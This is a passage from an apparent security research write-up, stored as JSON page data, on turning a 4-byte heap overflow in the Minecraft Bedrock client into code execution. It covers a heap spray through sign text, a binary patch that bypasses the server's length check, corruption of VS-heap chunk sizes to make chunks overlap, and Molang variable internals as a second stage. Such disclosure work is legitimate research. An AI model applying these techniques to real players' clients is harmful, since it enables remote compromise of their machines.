,{"type":23,"tag":134,"props":151171,"children":151172},{"class":136,"line":23323},[151173],{"type":23,"tag":134,"props":151174,"children":151175},{"style":179},[151176],{"type":28,"value":124626},{"type":23,"tag":134,"props":151178,"children":151179},{"class":136,"line":23336},[151180],{"type":23,"tag":134,"props":151181,"children":151182},{"emptyLinePlaceholder":15},[151183],{"type":28,"value":865},{"type":23,"tag":134,"props":151185,"children":151186},{"class":136,"line":23349},[151187,151191,151195],{"type":23,"tag":134,"props":151188,"children":151189},{"style":179},[151190],{"type":28,"value":150522},{"type":23,"tag":134,"props":151192,"children":151193},{"style":168},[151194],{"type":28,"value":9054},{"type":23,"tag":134,"props":151196,"children":151197},{"style":179},[151198],{"type":28,"value":11239},{"type":23,"tag":134,"props":151200,"children":151201},{"class":136,"line":23403},[151202],{"type":23,"tag":134,"props":151203,"children":151204},{"style":179},[151205],{"type":28,"value":524},{"type":23,"tag":134,"props":151207,"children":151208},{"class":136,"line":23412},[151209],{"type":23,"tag":134,"props":151210,"children":151211},{"style":179},[151212],{"type":28,"value":533},{"type":23,"tag":134,"props":151214,"children":151215},{"class":136,"line":31776},[151216],{"type":23,"tag":134,"props":151217,"children":151218},{"style":179},[151219],{"type":28,"value":1098},{"type":23,"tag":134,"props":151221,"children":151222},{"class":136,"line":31797},[151223],{"type":23,"tag":134,"props":151224,"children":151225},{"emptyLinePlaceholder":15},[151226],{"type":28,"value":865},{"type":23,"tag":134,"props":151228,"children":151229},{"class":136,"line":80463},[151230,151235,151239,151244,151248,151253,151257,151262,151266,151271,151275,151279],{"type":23,"tag":134,"props":151231,"children":151232},{"style":162},[151233],{"type":28,"value":151234},"world",{"type":23,"tag":134,"props":151236,"children":151237},{"style":179},[151238],{"type":28,"value":720},{"type":23,"tag":134,"props":151240,"children":151241},{"style":162},[151242],{"type":28,"value":151243},"afterEvents",{"type":23,"tag":134,"props":151245,"children":151246},{"style":179},[151247],{"type":28,"value":720},{"type":23,"tag":134,"props":151249,"children":151250},{"style":162},[151251],{"type":28,"value":151252},"playerSpawn",{"type":23,"tag":134,"props":151254,"children":151255},{"style":179},[151256],{"type":28,"value":720},{"type":23,"tag":134,"props":151258,"children":151259},{"style":264},[151260],{"type":28,"value":151261},"subscribe",{"type":23,"tag":134,"props":151263,"children":151264},{"style":179},[151265],{"type":28,"value":31018},{"type":23,"tag":134,"props":151267,"children":151268},{"style":162},[151269],{"type":28,"value":151270},"arg",{"type":23,"tag":134,"props":151272,"children":151273},{"style":179},[151274],{"type":28,"value":252},{"type":23,"tag":134,"props":151276,"children":151277},{"style":151},[151278],{"type":28,"value":14290},{"type":23,"tag":134,"props":151280,"children":151281},{"style":179},[151282],{"type":28,"value":463},{"type":23,"tag":134,"props":151284,"children":151285},{"class":136,"line":80476},[151286,151291],{"type":23,"tag":134,"props":151287,"children":151288},{"style":264},[151289],{"type":28,"value":151290},"    create_wall",{"type":23,"tag":134,"props":151292,"children":151293},{"style":179},[151294],{"type":28,"value":856},{"type":23,"tag":134,"props":151296,"children":151297},{"class":136,"line":80484},[151298],{"type":23,"tag":134,"props":151299,"children":151300},{"style":179},[151301],{"type":28,"value":34835},{"type":23,"tag":134,"props":151303,"children":151304},{"class":136,"line":80492},[151305],{"type":23,"tag":134,"props":151306,"children":151307},{"emptyLinePlaceholder":15},[151308],{"type":28,"value":865},{"type":23,"tag":134,"props":151310,"children":151311},{"class":136,"line":80500},[151312,151316,151320,151325,151329,151334,151338,151342,151346,151350,151354,151358,151362,151366],{"type":23,"tag":134,"props":151313,"children":151314},{"style":162},[151315],{"type":28,"value":151234},{"type":23,"tag":134,"props":151317,"children":151318},{"style":179},[151319],{"type":28,"value":720},{"type":23,"tag":134,"props":151321,"children":151322},{"style":162},[151323],{"type":28,"value":151324},"beforeEvents",{"type":23,"tag":134,"props":151326,"children":151327},{"style":179},[151328],{"type":28,"value":720},{"type":23,"tag":134,"props":151330,"children":151331},{"style":162},[151332],{"type":28,"value":151333},"playerLeave",{"type":23,"tag":134,"props":151335,"children":151336},{"style":179},[151337],{"type":28,"value":720},{"type":23,"tag":134,"props":151339,"children":151340},{"style":264},[151341],{"type":28,"value":151261},{"type":23,"tag":134,"props":151343,"children":151344},{"style":179},[151345],{"type":28,"value":272},{"type":23,"tag":134,"props":151347,"children":151348},{"style":151},[151349],{"type":28,"value":35643},{"type":23,"tag":134,"props":151351,"children":151352},{"style":179},[151353],{"type":28,"value":232},{"type":23,"tag":134,"props":151355,"children":151356},{"style":162},[151357],{"type":28,"value":151270},{"type":23,"tag":134,"props":151359,"children":151360},{"style":179},[151361],{"type":28,"value":252},{"type":23,"tag":134,"props":151363,"children":151364},{"style":151},[151365],{"type":28,"value":14290},{"type":23,"tag":134,"props":151367,"children":151368},{"style":179},[151369],{"type":28,"value":463},{"type":23,"tag":134,"props":151371,"children":151372},{"class":136,"line":80540},[151373,151378],{"type":23,"tag":134,"props":151374,"children":151375},{"style":264},[151376],{"type":28,"value":151377},"    remove_wall",{"type":23,"tag":134,"props":151379,"children":151380},{"style":179},[151381],{"type":28,"value":856},{"type":23,"tag":134,"props":151383,"children":151384},{"class":136,"line":80548},[151385],{"type":23,"tag":134,"props":151386,"children":151387},{"style":179},[151388],{"type":28,"value":34835},{"type":23,"tag":24,"props":151390,"children":151391},{},[151392],{"type":28,"value":151393},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":24,"props":151395,"children":151396},{},[151397],{"type":23,"tag":1116,"props":151398,"children":151401},{"alt":151399,"src":151400},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":24,"props":151403,"children":151404},{},[151405],{"type":28,"value":151406},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":18368,"props":151408,"children":151410},{"id":151409},"a-small-roadblock",[151411],{"type":28,"value":151412},"A Small Roadblock",{"type":23,"tag":24,"props":151414,"children":151415},{},[151416],{"type":28,"value":151417},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":87,"props":151419,"children":151421},{"code":151420},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[151422],{"type":23,"tag":92,"props":151423,"children":151424},{"__ignoreMap":7},[151425],{"type":28,"value":151420},{"type":23,"tag":24,"props":151427,"children":151428},{},[151429,151431,151437],{"type":28,"value":151430},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":92,"props":151432,"children":151434},{"className":151433},[],[151435],{"type":28,"value":151436},"512",{"type":28,"value":151438}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":24,"props":151440,"children":151441},{},[151442],{"type":28,"value":151443},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":24,"props":151445,"children":151446},{},[151447],{"type":28,"value":151448},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":24,"props":151450,"children":151451},{},[151452],{"type":23,"tag":1116,"props":151453,"children":151455},{"alt":50084,"src":151454},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":24,"props":151457,"children":151458},{},[151459,151461,151467],{"type":28,"value":151460},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":92,"props":151462,"children":151464},{"className":151463},[],[151465],{"type":28,"value":151466},"string_length \u003C= 512",{"type":28,"value":151468}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":24,"props":151470,"children":151471},{},[151472],{"type":28,"value":151473},"The disassembly of the comparison looks like this:",{"type":23,"tag":24,"props":151475,"children":151476},{},[151477],{"type":23,"tag":1116,"props":151478,"children":151480},{"alt":50084,"src":151479},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":24,"props":151482,"children":151483},{},[151484,151486,151491,151493,151498,151499,151504,151506,151512,151514,151520,151522,151527,151529,151534],{"type":28,"value":151485},"The code compares ",{"type":23,"tag":92,"props":151487,"children":151489},{"className":151488},[],[151490],{"type":28,"value":56281},{"type":28,"value":151492}," (the string length) to ",{"type":23,"tag":92,"props":151494,"children":151496},{"className":151495},[],[151497],{"type":28,"value":127326},{"type":28,"value":232},{"type":23,"tag":92,"props":151500,"children":151502},{"className":151501},[],[151503],{"type":28,"value":151436},{"type":28,"value":151505}," decimal). It then performs a ",{"type":23,"tag":92,"props":151507,"children":151509},{"className":151508},[],[151510],{"type":28,"value":151511},"jbe",{"type":28,"value":151513},", jumping to address ",{"type":23,"tag":92,"props":151515,"children":151517},{"className":151516},[],[151518],{"type":28,"value":151519},"0x14275114c",{"type":28,"value":151521}," if ",{"type":23,"tag":92,"props":151523,"children":151525},{"className":151524},[],[151526],{"type":28,"value":56281},{"type":28,"value":151528}," is less than or equal to ",{"type":23,"tag":92,"props":151530,"children":151532},{"className":151531},[],[151533],{"type":28,"value":151436},{"type":28,"value":151535},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":24,"props":151537,"children":151538},{},[151539,151541,151546,151548,151554],{"type":28,"value":151540},"To force execution down this path, we patched the ",{"type":23,"tag":92,"props":151542,"children":151544},{"className":151543},[],[151545],{"type":28,"value":151511},{"type":28,"value":151547}," instruction to an unconditional ",{"type":23,"tag":92,"props":151549,"children":151551},{"className":151550},[],[151552],{"type":28,"value":151553},"jmp",{"type":28,"value":151555},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":24,"props":151557,"children":151558},{},[151559],{"type":23,"tag":1116,"props":151560,"children":151562},{"alt":50084,"src":151561},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":24,"props":151564,"children":151565},{},[151566,151568,151573,151575,151580],{"type":28,"value":151567},"After patching the server and calling ",{"type":23,"tag":92,"props":151569,"children":151571},{"className":151570},[],[151572],{"type":28,"value":149677},{"type":28,"value":151574}," with a size of ",{"type":23,"tag":92,"props":151576,"children":151578},{"className":151577},[],[151579],{"type":28,"value":57655},{"type":28,"value":151581},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":24,"props":151583,"children":151584},{},[151585],{"type":23,"tag":1116,"props":151586,"children":151588},{"alt":50084,"src":151587},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":18268,"props":151590,"children":151591},{},[],{"type":23,"tag":24,"props":151593,"children":151594},{},[151595],{"type":28,"value":151596},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":24,"props":151598,"children":151599},{},[151600],{"type":28,"value":151601},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":9072,"props":151603,"children":151605},{"id":151604},"overlapping-heap-chunks",[151606],{"type":28,"value":151607},"Overlapping Heap Chunks",{"type":23,"tag":24,"props":151609,"children":151610},{},[151611,151613,151618],{"type":28,"value":151612},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":31,"props":151614,"children":151616},{"href":149421,"rel":151615},[35],[151617],{"type":28,"value":47089},{"type":28,"value":151619},"), so we will present a high-level overview.",{"type":23,"tag":24,"props":151621,"children":151622},{},[151623,151625,151631],{"type":28,"value":151624},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":92,"props":151626,"children":151628},{"className":151627},[],[151629],{"type":28,"value":151630},"_HEAP_VS_CHUNK_HEADER",{"type":28,"value":151632}," structure layout is required:",{"type":23,"tag":87,"props":151634,"children":151636},{"code":151635},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[151637],{"type":23,"tag":92,"props":151638,"children":151639},{"__ignoreMap":7},[151640],{"type":28,"value":151635},{"type":23,"tag":24,"props":151642,"children":151643},{},[151644,151646,151652,151654,151660,151661,151667,151668,151674,151676,151681,151683,151688,151690,151696,151698,151703,151705,151711],{"type":28,"value":151645},"At offset 0 there is a header ",{"type":23,"tag":92,"props":151647,"children":151649},{"className":151648},[],[151650],{"type":28,"value":151651},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":28,"value":151653}," containing fields such as ",{"type":23,"tag":92,"props":151655,"children":151657},{"className":151656},[],[151658],{"type":28,"value":151659},"MemoryCost",{"type":28,"value":242},{"type":23,"tag":92,"props":151662,"children":151664},{"className":151663},[],[151665],{"type":28,"value":151666},"UnsafeSize",{"type":28,"value":242},{"type":23,"tag":92,"props":151669,"children":151671},{"className":151670},[],[151672],{"type":28,"value":151673},"UnsafePrevSize",{"type":28,"value":151675},", etc. For the attack we only care about the ",{"type":23,"tag":92,"props":151677,"children":151679},{"className":151678},[],[151680],{"type":28,"value":151666},{"type":28,"value":151682}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":92,"props":151684,"children":151686},{"className":151685},[],[151687],{"type":28,"value":125949},{"type":28,"value":151689},", so for a chunk of size ",{"type":23,"tag":92,"props":151691,"children":151693},{"className":151692},[],[151694],{"type":28,"value":151695},"0x4010",{"type":28,"value":151697}," the value of ",{"type":23,"tag":92,"props":151699,"children":151701},{"className":151700},[],[151702],{"type":28,"value":151666},{"type":28,"value":151704}," would be ",{"type":23,"tag":92,"props":151706,"children":151708},{"className":151707},[],[151709],{"type":28,"value":151710},"0x401",{"type":28,"value":720},{"type":23,"tag":24,"props":151713,"children":151714},{},[151715,151716,151721],{"type":28,"value":63725},{"type":23,"tag":92,"props":151717,"children":151719},{"className":151718},[],[151720],{"type":28,"value":151666},{"type":28,"value":151722}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":24,"props":151724,"children":151725},{},[151726,151728,151733,151735,151740,151742,151748,151750,151755],{"type":28,"value":151727},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":92,"props":151729,"children":151731},{"className":151730},[],[151732],{"type":28,"value":151666},{"type":28,"value":151734}," in the smallest possible VS chunk (",{"type":23,"tag":92,"props":151736,"children":151738},{"className":151737},[],[151739],{"type":28,"value":151695},{"type":28,"value":151741},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":92,"props":151743,"children":151745},{"className":151744},[],[151746],{"type":28,"value":151747},"[0x10, 0xffff0]",{"type":28,"value":151749}," range, the probability that it exceeds ",{"type":23,"tag":92,"props":151751,"children":151753},{"className":151752},[],[151754],{"type":28,"value":151695},{"type":28,"value":151756}," is:",{"type":23,"tag":87,"props":151758,"children":151760},{"code":151759},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[151761],{"type":23,"tag":92,"props":151762,"children":151763},{"__ignoreMap":7},[151764],{"type":28,"value":151759},{"type":23,"tag":24,"props":151766,"children":151767},{},[151768],{"type":28,"value":151769},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":24,"props":151771,"children":151772},{},[151773],{"type":28,"value":151774},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":18368,"props":151776,"children":151778},{"id":151777},"overlap-attack-overview",[151779],{"type":28,"value":151780},"Overlap Attack Overview",{"type":23,"tag":24,"props":151782,"children":151783},{},[151784,151786,151791],{"type":28,"value":151785},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":92,"props":151787,"children":151789},{"className":151788},[],[151790],{"type":28,"value":125972},{"type":28,"value":151792}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":24,"props":151794,"children":151795},{},[151796,151798,151803,151805,151810],{"type":28,"value":151797},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":92,"props":151799,"children":151801},{"className":151800},[],[151802],{"type":28,"value":147680},{"type":28,"value":151804},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":92,"props":151806,"children":151808},{"className":151807},[],[151809],{"type":28,"value":147680},{"type":28,"value":151811},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":24,"props":151813,"children":151814},{},[151815,151817,151822],{"type":28,"value":151816},"To remove those ",{"type":23,"tag":92,"props":151818,"children":151820},{"className":151819},[],[151821],{"type":28,"value":147680},{"type":28,"value":151823},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":24,"props":151825,"children":151826},{},[151827],{"type":28,"value":151828},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":87,"props":151830,"children":151832},{"code":151831},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[151833],{"type":23,"tag":92,"props":151834,"children":151835},{"__ignoreMap":7},[151836],{"type":28,"value":151831},{"type":23,"tag":24,"props":151838,"children":151839},{},[151840,151842,151847,151849,151854],{"type":28,"value":151841},"Next we create ",{"type":23,"tag":55,"props":151843,"children":151844},{},[151845],{"type":28,"value":151846},"holes",{"type":28,"value":151848}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":92,"props":151850,"children":151852},{"className":151851},[],[151853],{"type":28,"value":147680},{"type":28,"value":151855},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":87,"props":151857,"children":151859},{"code":151858},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[151860],{"type":23,"tag":92,"props":151861,"children":151862},{"__ignoreMap":7},[151863],{"type":28,"value":151858},{"type":23,"tag":24,"props":151865,"children":151866},{},[151867,151869,151874,151876,151881],{"type":28,"value":151868},"When a ",{"type":23,"tag":92,"props":151870,"children":151872},{"className":151871},[],[151873],{"type":28,"value":147680},{"type":28,"value":151875}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":92,"props":151877,"children":151879},{"className":151878},[],[151880],{"type":28,"value":151666},{"type":28,"value":151882}," field will be overwritten:",{"type":23,"tag":87,"props":151884,"children":151886},{"code":151885},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[151887],{"type":23,"tag":92,"props":151888,"children":151889},{"__ignoreMap":7},[151890],{"type":28,"value":151885},{"type":23,"tag":24,"props":151892,"children":151893},{},[151894,151896,151901,151903,151908,151910,151915],{"type":28,"value":151895},"Once ",{"type":23,"tag":92,"props":151897,"children":151899},{"className":151898},[],[151900],{"type":28,"value":151666},{"type":28,"value":151902}," has been overwritten, ",{"type":23,"tag":92,"props":151904,"children":151906},{"className":151905},[],[151907],{"type":28,"value":147680},{"type":28,"value":151909}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":92,"props":151911,"children":151913},{"className":151912},[],[151914],{"type":28,"value":151666},{"type":28,"value":151916}," field corrupted:",{"type":23,"tag":87,"props":151918,"children":151920},{"code":151919},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[151921],{"type":23,"tag":92,"props":151922,"children":151923},{"__ignoreMap":7},[151924],{"type":28,"value":151919},{"type":23,"tag":24,"props":151926,"children":151927},{},[151928],{"type":28,"value":151929},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":87,"props":151931,"children":151933},{"code":151932},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[151934],{"type":23,"tag":92,"props":151935,"children":151936},{"__ignoreMap":7},[151937],{"type":28,"value":151932},{"type":23,"tag":24,"props":151939,"children":151940},{},[151941],{"type":28,"value":151942},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":87,"props":151944,"children":151946},{"code":151945},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[151947],{"type":23,"tag":92,"props":151948,"children":151949},{"__ignoreMap":7},[151950],{"type":28,"value":151945},{"type":23,"tag":18268,"props":151952,"children":151953},{},[],{"type":23,"tag":24,"props":151955,"children":151956},{},[151957],{"type":28,"value":151958},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":24,"props":151960,"children":151961},{},[151962],{"type":28,"value":151963},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":9072,"props":151965,"children":151967},{"id":151966},"molang",[151968],{"type":28,"value":151969},"Molang",{"type":23,"tag":24,"props":151971,"children":151972},{},[151973,151975,151982],{"type":28,"value":151974},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":31,"props":151976,"children":151979},{"href":151977,"rel":151978},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[35],[151980],{"type":28,"value":151981},"syntax guide",{"type":28,"value":720},{"type":23,"tag":24,"props":151984,"children":151985},{},[151986,151988,151993,151994,151999],{"type":28,"value":151987},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":92,"props":151989,"children":151991},{"className":151990},[],[151992],{"type":28,"value":8035},{"type":28,"value":10458},{"type":23,"tag":92,"props":151995,"children":151997},{"className":151996},[],[151998],{"type":28,"value":15158},{"type":28,"value":152000}," operators are supported.",{"type":23,"tag":24,"props":152002,"children":152003},{},[152004,152006,152012,152014,152019,152021,152026,152027,152032,152033],{"type":28,"value":152005},"Variables are defined by prepending ",{"type":23,"tag":92,"props":152007,"children":152009},{"className":152008},[],[152010],{"type":28,"value":152011},"variable.",{"type":28,"value":152013}," to the name and assigning a value. For example, to define ",{"type":23,"tag":92,"props":152015,"children":152017},{"className":152016},[],[152018],{"type":28,"value":8544},{"type":28,"value":152020}," as the sum of ",{"type":23,"tag":92,"props":152022,"children":152024},{"className":152023},[],[152025],{"type":28,"value":31},{"type":28,"value":10458},{"type":23,"tag":92,"props":152028,"children":152030},{"className":152029},[],[152031],{"type":28,"value":393},{"type":28,"value":14800},{"type":23,"tag":92,"props":152034,"children":152036},{"className":152035},[],[152037],{"type":28,"value":152038},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":152040,"children":152041},{},[152042,152044,152049,152050,152055,152056,152061,152062,152067],{"type":28,"value":152043},"Logical operators such as ",{"type":23,"tag":92,"props":152045,"children":152047},{"className":152046},[],[152048],{"type":28,"value":21897},{"type":28,"value":242},{"type":23,"tag":92,"props":152051,"children":152053},{"className":152052},[],[152054],{"type":28,"value":72707},{"type":28,"value":242},{"type":23,"tag":92,"props":152057,"children":152059},{"className":152058},[],[152060],{"type":28,"value":5262},{"type":28,"value":242},{"type":23,"tag":92,"props":152063,"children":152065},{"className":152064},[],[152066],{"type":28,"value":9927},{"type":28,"value":152068},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":87,"props":152070,"children":152072},{"code":152071},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[152073],{"type":23,"tag":92,"props":152074,"children":152075},{"__ignoreMap":7},[152076],{"type":28,"value":152071},{"type":23,"tag":24,"props":152078,"children":152079},{},[152080],{"type":28,"value":152081},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":18368,"props":152083,"children":152085},{"id":152084},"molang-internals",[152086],{"type":28,"value":152087},"Molang Internals",{"type":23,"tag":24,"props":152089,"children":152090},{},[152091],{"type":28,"value":152092},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":152094,"children":152095},{},[152096],{"type":28,"value":152097},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":18368,"props":152099,"children":152101},{"id":152100},"molangvariable-and-molangscriptarg",[152102],{"type":28,"value":152103},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":152105,"children":152106},{},[152107,152108,152114],{"type":28,"value":101863},{"type":23,"tag":92,"props":152109,"children":152111},{"className":152110},[],[152112],{"type":28,"value":152113},"MolangVariable",{"type":28,"value":152115}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":87,"props":152117,"children":152119},{"code":152118,"language":315,"meta":7,"className":15985,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[152120],{"type":23,"tag":92,"props":152121,"children":152122},{"__ignoreMap":7},[152123,152135,152142,152154,152167,152175,152182,152189,152201,152214,152226,152256,152264,152271,152278],{"type":23,"tag":134,"props":152124,"children":152125},{"class":136,"line":137},[152126,152130],{"type":23,"tag":134,"props":152127,"children":152128},{"style":151},[152129],{"type":28,"value":8864},{"type":23,"tag":134,"props":152131,"children":152132},{"style":179},[152133],{"type":28,"value":152134}," MolangVariable {\n",{"type":23,"tag":134,"props":152136,"children":152137},{"class":136,"line":147},[152138],{"type":23,"tag":134,"props":152139,"children":152140},{"style":179},[152141],{"type":28,"value":61294},{"type":23,"tag":134,"props":152143,"children":152144},{"class":136,"line":185},[152145,152149],{"type":23,"tag":134,"props":152146,"children":152147},{"style":151},[152148],{"type":28,"value":5509},{"type":23,"tag":134,"props":152150,"children":152151},{"style":179},[152152],{"type":28,"value":152153}," HashedString {\n",{"type":23,"tag":134,"props":152155,"children":152156},{"class":136,"line":221},[152157,152162],{"type":23,"tag":134,"props":152158,"children":152159},{"style":151},[152160],{"type":28,"value":152161},"        uint64_t",{"type":23,"tag":134,"props":152163,"children":152164},{"style":179},[152165],{"type":28,"value":152166}," variable_name_hash;\n",{"type":23,"tag":134,"props":152168,"children":152169},{"class":136,"line":332},[152170],{"type":23,"tag":134,"props":152171,"children":152172},{"style":179},[152173],{"type":28,"value":152174},"        std::string variable_name;\n",{"type":23,"tag":134,"props":152176,"children":152177},{"class":136,"line":438},[152178],{"type":23,"tag":134,"props":152179,"children":152180},{"style":179},[152181],{"type":28,"value":38495},{"type":23,"tag":134,"props":152183,"children":152184},{"class":136,"line":466},[152185],{"type":23,"tag":134,"props":152186,"children":152187},{"style":179},[152188],{"type":28,"value":61294},{"type":23,"tag":134,"props":152190,"children":152191},{"class":136,"line":479},[152192,152196],{"type":23,"tag":134,"props":152193,"children":152194},{"style":151},[152195],{"type":28,"value":5509},{"type":23,"tag":134,"props":152197,"children":152198},{"style":179},[152199],{"type":28,"value":152200}," MolangScriptArg {\n",{"type":23,"tag":134,"props":152202,"children":152203},{"class":136,"line":497},[152204,152209],{"type":23,"tag":134,"props":152205,"children":152206},{"style":151},[152207],{"type":28,"value":152208},"        uint32_t",{"type":23,"tag":134,"props":152210,"children":152211},{"style":179},[152212],{"type":28,"value":152213}," value_type;\n",{"type":23,"tag":134,"props":152215,"children":152216},{"class":136,"line":518},[152217,152221],{"type":23,"tag":134,"props":152218,"children":152219},{"style":151},[152220],{"type":28,"value":152161},{"type":23,"tag":134,"props":152222,"children":152223},{"style":179},[152224],{"type":28,"value":152225}," value;\n",{"type":23,"tag":134,"props":152227,"children":152228},{"class":136,"line":527},[152229,152234,152238,152242,152247,152251],{"type":23,"tag":134,"props":152230,"children":152231},{"style":179},[152232],{"type":28,"value":152233},"        